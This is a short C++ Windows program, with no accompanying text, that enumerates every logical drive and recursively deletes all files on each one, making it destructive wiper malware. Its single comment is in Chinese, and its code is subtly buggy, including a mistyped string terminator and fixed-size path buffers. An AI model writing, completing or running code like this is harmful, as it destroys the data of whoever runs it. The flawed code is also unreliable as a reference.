#include <windows.h>#include <stdio.h>#include <bitset>using namespace std;void DelFile(char *cFilePath){ WIN32_FIND_DATA data; HANDLE hFind; char cFullPath[100]; char cNewPath[100]; sprintf_s(cFullPath,"%s//*.*",cFilePath); hFind=FindFirstFile(cFullPath,&data); do { if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName))) {  continue; } if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY) {  sprintf_s(cNewPath,"%s//%s",cFilePath,data.cFileName);  DelFile(cNewPath);//遞歸 }// MessageBox(NULL,data.cFileName,"Look",0); sprintf_s(cFullPath,"%s//%s",cFilePath,data.cFileName); DeleteFile(cFullPath); }while(FindNextFile(hFind,&data));}int WINAPI WinMain( HINSTANCE hInstance,   // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine,     // command line int nCmdShow       // show state){ DWORD dwDrive=GetLogicalDrives(); bitset<32> bit(dwDrive); char Path[3]={'a',':','/0'}; for(int ix=0;ix!=32;ix++) { if(bit.test(ix)) {  Path[0]='A'+ix;  DelFile(Path); } } return 0;}